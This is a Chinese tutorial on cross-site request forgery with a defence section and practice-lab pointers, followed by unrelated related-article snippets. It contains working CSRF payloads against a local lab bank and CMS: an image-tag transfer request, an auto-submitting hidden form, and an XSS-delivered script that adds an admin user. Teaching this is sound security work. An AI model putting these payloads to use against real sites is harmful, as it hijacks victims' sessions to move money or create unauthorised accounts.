渗透测试漏洞原理之---【CSRF跨站请求伪造】

文章目录

      • 1、CSRF概述
        • 1.1、基本原理
          • 1.1.1、基本概念
          • 1.1.2、关键点
          • 1.1.3、目标
        • 1.2、CSRF场景
          • 1.2.1、银行支付转账
          • 1.2.2构造虚假网站
          • 1.2.3、场景建模
        • 1.3、CSRF类别
          • 1.3.1、POST方式
        • 1.4、CSRF验证
          • 1.4.1、CSRF PoC Generator
      • 2、CSRF攻防
        • 2.1、CSRF实战
          • 2.1.1、与XSS 漏洞相结合
        • 2.2、CSRF防御
          • 2.2.1、无效防御
          • 2.2.2、有效防御
      • 3、靶场练习

1、CSRF概述

1.1、基本原理

1.1.1、基本概念

跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。

CSRF,跨站域请求伪造,通常攻击者会伪造一个场景(例如一条链接),来诱使用户点击,用户一旦点击,黑客的攻击目的也就达到了,他可以盗用你的身份,以你的名义发送恶意请求。CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。

和XSS有什么不同?

CSRF是以用户的权限去做事情,自己本身并没有获取到权限;XSS是直接盗取了用户的权限进行攻击。

1.1.2、关键点
  • 受害者没有退出登录,受害者保持身份认证。
  • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
  • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。
1.1.3、目标

CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。

CSRF 的场景中,攻击者是没有办法获得服务器的响应。

1.2、CSRF场景

1.2.1、银行支付转账

模拟搭建银行网站http://192.168.80.139/bank/

在这里插入图片描述

1.2.2构造虚假网站

构造CSRF 攻击连接

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.80.139/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='金陵十三钗'>
  • 攻击者通过 <img> 标签构造GET 请求。

  • 浏览器根据 <img> 标签中的SRC属性,请求服务器资源,会自动带上身份认证信息

1.2.3、场景建模

image-20230828193451895

1.3、CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求,是不是就能够防御CSRF 漏洞了呢?

1.3.1、POST方式
<meta charset='utf-8'>
<form name='csrf' action='http://192.168.80.139/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

1.4、CSRF验证

1.4.1、CSRF PoC Generator

PoC:漏洞验证代码

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证

image-20230828193907618

修改密码在浏览器中测试

image-20230828193927900

image-20230828193935787

点击Submit request后,密码就会被修改

image-20230828193944520

2、CSRF攻防

2.1、CSRF实战

2.1.1、与XSS 漏洞相结合

先使用BurpSuite工具抓取添加用户的数据包,

image-20230828194514309

POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.80.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://192.168.80.139
Connection: close
Referer: http://192.168.80.139/cms/admin/user.add.php?act=add
Cookie: username=admin; userid=1; PHPSESSID=87u2eq7ctm4468snmmg772vns7
Upgrade-Insecure-Requests: 1act=add&username=zs&password=123&password2=123&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.80.139/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=zs&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

把JS代码提交都留言板上

image-20230828194145276

使用管理员用户查看留言板信息,在点击留言板这个选项卡的时候就触发了XSS代码,进行了CSRF跨站攻击

然后使用修改后的密码,登录后台

image-20230828194553391

2.2、CSRF防御

2.2.1、无效防御
  • 使用秘密的Cookie
  • 仅接收POST 请求
  • 多步交易:多步交易,有可能会被恶意攻击者预测
  • URL 重写:用户的身份信息会暴露在URL 中,不建议通过引入另外一个漏洞来解决当前漏洞
  • HTTPS:所有安全机制的前提
2.2.2、有效防御

1、验证Referer字段

  • 当前URL的上一个URL,就是该页面是从那个页面过来的
  • 转账页面到转账操作
  • 伪造?

2、添加Token验证

image-20230828194937272

3、二次验证:在关键操作之前,再输入密码或者验证码

4、HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息

5、SameSite:Cookie 属性,浏览器自带安全机制

3、靶场练习

DVWA靶场CSRF练习

Pikachu靶场CSRF练习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/62684.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

R语言对综合社会调查GSS数据进行自举法bootstrap统计推断、假设检验、探索性数据分析可视化|数据分享...

全文链接&#xff1a;https://tecdat.cn/?p33514 综合社会调查&#xff08;GSS&#xff09;是由国家舆论研究中心开展的一项观察性研究。自 1972 年以来&#xff0c;GSS 一直通过收集当代社会的数据来监测社会学和态度趋势。其目的是解释态度、行为和属性的趋势和常量。从 197…

Linux学习之lvm删除

umount /mnt/logicvolumntest卸载挂载。 lvremove /dev/vgname/my_lv可以删除逻辑卷&#xff0c;其中vgname是指定逻辑卷所在的卷组名称&#xff0c;my_lv是逻辑卷的名称。 注意&#xff1a;使用lvremove命令会永久删除逻辑卷和其中的数据&#xff0c;因此请在使用之前进行适当…

高并发(水平扩展,垂直扩展)

高并发(水平扩展&#xff0c;垂直扩展) 一、什么是高并发 高并发&#xff08;High Concurrency&#xff09; 是互联网分布式系统架构设计中必须考虑的因素之一&#xff0c;它通常是指&#xff0c; 通过设计保证系统能够同时并行处理很多请求。 高并发相关常用的一些指标有 响…

基于VUE3+Layui从头搭建通用后台管理系统(前端篇)十一:通用表单组件封装实现

一、本章内容 本章实现通用表单组件,根据实体配置识别实体属性,并自动生成编辑组件,实现对应数据填充、校验及保存等逻辑。 1. 详细课程地址: 待发布 2. 源码下载地址: 待发布 二、界面预览 三、开发视频 3.1 B站视频地址:

Hadoop依赖环境配置与安装部署

目录 什么是Hadoop&#xff1f;一、Hadoop依赖环境配置1.1 设置静态IP地址1.2 重启网络1.3 再克隆两台服务器1.4 修改主机名1.5 安装JDK1.6 配置环境变量1.7 关闭防火墙1.8 服务器之间互传资料1.9 做一个host印射1.10 免密传输 二、Hadoop安装部署2.1 解压hadoop的tar包2.2 切换…

LOL提示找不到d3dcompiler_47.dll怎么修复?多个修复方法分享

大家好&#xff01;今天&#xff0c;我将为大家分享一个关于玩游戏时遇到的问题——d3dcompiler_47.dll缺失无法运行的困扰&#xff0c;以及如何修复这个困扰的方法。希望我的分享能够帮助到大家&#xff0c;让我们一起来解决问题吧&#xff01; ​首先&#xff0c;我们来了解一…

c 语言关于未声明变量赋值机制

1. 示例代码&#xff1a; /* 测试输出结果 */ #include <stdio.h>int main(void) {int i 0;i 1, 2, 3;printf("i %d\n", i);return 0; } 2. 运行结果&#xff1a;

Graylog 更改显示的时区(Display timezone)

每个 Graylog 用户都可以配置他们的显示时区。 这会更改用于查看日志消息的时区&#xff0c;但不会更改日志消息的原始时区。 默认情况下&#xff0c;Graylog 显示 UTC 格式的所有时间戳&#xff08;也就是 0:00&#xff09;。就像是下面这样 非Admin账户要更改时区&#xff1…

QT DAY4

一、对话框 消息对话框、字体对话框、颜色对话框、文件对话框 1.1消息对话框 主要分为这四类对话及一种NoIcon无图标对话 而对话框也分为两种实现方式&#xff0c;一种为基于属性分开初始化的方式&#xff0c;这种方式更灵活&#xff0c;更多元&#xff0c;需要对exec的返回值…

八、性能测试

八、性能测试 8.1 性能测试代码 #include"ConcurrentAlloc.h"// ntimes 一轮申请和释放内存的次数 // rounds 轮次 void BenchmarkMalloc(size_t ntimes, size_t nworks, size_t rounds) {std::vector<std::thread> vthread(nworks);std::atomic<size_t&g…

Jetpack Compose 自定义 好看的TabRow Indicator

背景 Jetpack Compose 提供了强大的 Material Design 组件,其中 TabRow 组件可以用于实现 Material Design 规范的选项卡界面。但是默认的 TabRow 样式可能无法满足所有场景,所以我们有时需要自定义 TabRow 的样式。 Jetpack Compose 中使用 TabRow 简单使用 TabRow 一般可以…

如何在小红书进行学习直播

诸神缄默不语-个人CSDN博文目录 因为我是从B站开始的&#xff0c;所以一些直播常识型的东西请见我之前写的如何在B站进行学习直播这一篇。 本篇主要介绍一些小红书之与B站不同之处。 小红书在手机端是可以直接点击“”选择直播的。 文章目录 1. 电脑直播-小红书直播软件2. 电…

【前端demo】背景渐变动画

文章目录 效果过程代码htmlcss 其他demo 效果 效果预览&#xff1a;https://codepen.io/karshey/pen/OJrXZwQ 过程 注意&#xff0c;直接在body上加height:100%可能也会出现height为0的情况&#xff0c;这是需要令html的height:100% 代码 html <!DOCTYPE html> <…

【数据库】关系模型介绍+形式化关系查询语言

目录 第2章 关系模型介绍 2.1 关系数据库的结构 关系 2.2 数据库模式 2.3 码 2.4 模式图 大学数据库的模式图&#xff01;&#xff01;&#xff01; 大学数据库关系模式&#xff01;&#xff01;&#xff01; 2.5 关系查询语言 2.6 关系运算 2. 7 总结 第6章 形式化…

哪个视觉语言模型更优?InstructBLIP、MiniGPT-4?全面评估基准LVLM-eHub告诉你

夕小瑶科技说 原创 作者 | 王思若 LLaMA、GPT-3等大型语言模型实现了对自然语言强大的理解和推理能力&#xff0c;为AI社区构筑了强大的语言基座模型。进而&#xff0c;继续迭代的GPT-4&#xff0c;更是赋予了模型处理图像的视觉能力。 如今&#xff0c;构建强大的多模态模型…

python conda实践 sanic框架gitee webhook实践

import subprocess import hmac import hashlib import base64 from sanic.response import text from sanic import Blueprint from git import Repo# 路由蓝图 hook_blue Blueprint(hook_blue)hook_blue.route(/hook/kaifa, methods["POST"]) async def kaifa(req…

【Unity3D】UI Toolkit容器

1 前言 UI Toolkit简介 中介绍了 UI Builder、样式属性、UQuery&#xff0c;本文将介绍 UI Toolkit 中的容器&#xff0c;主要包含 VisualElement、ScrollView、ListView、UI Toolkit&#xff0c;官方介绍详见→UXML elements reference。 2 VisualElement&#xff08;空容器&…

Gazebo仿真环境下的强化学习实现

Gazebo仿真环境下的强化学习实现 主体源码参照《Goal-Driven Autonomous Exploration Through Deep Reinforcement Learning》 文章目录 Gazebo仿真环境下的强化学习实现1. 源码拉取2. 强化学习实现2.1 环境2.2 动作空间2.3 状态空间2.4 奖励空间2.5 TD3训练 3. 总结 1. 源码…

简述SpringMVC

一、典型的Servlet JSP JavaBean UserServlet看作业务逻辑处理&#xff08;Controller&#xff09;User看作模型&#xff08;Model&#xff09;user.jsp看作渲染&#xff08;View&#xff09; 二、高级MVC 由DispatcherServlet对请求统一处理 三、SpringMVC MVC与Spr…

springboot实战(四)之整合mybatis-plus

目录 环境&#xff1a; 准备&#xff1a; 开始&#xff1a; 1.创建表t_user 2.项目添加依赖 3.配置 1.配置mysql链接信息 2.在启动类配置mapper扫描路径 4.创建实体类 5.创建mapper 6.测试 环境&#xff1a; jdk&#xff1a;1.8 springboot版本&#xff1a;2.7.15…